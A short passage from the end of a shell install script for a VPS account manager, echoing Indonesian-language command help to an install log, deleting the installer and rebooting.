hari" | tee -a log-install.txt echo "usernew : untuk membuat akun baru" | tee -a log-install.txt echo "userlist : untuk melihat daftar akun beserta masa aktifnya" | tee -a log-install.txt echo "----------" | tee -a log-install.txt echo "" | tee -a log-install.txt echo "===============================================" | tee -a log-install.txt rm kvm-install.sh reboot

    From user vpaproject

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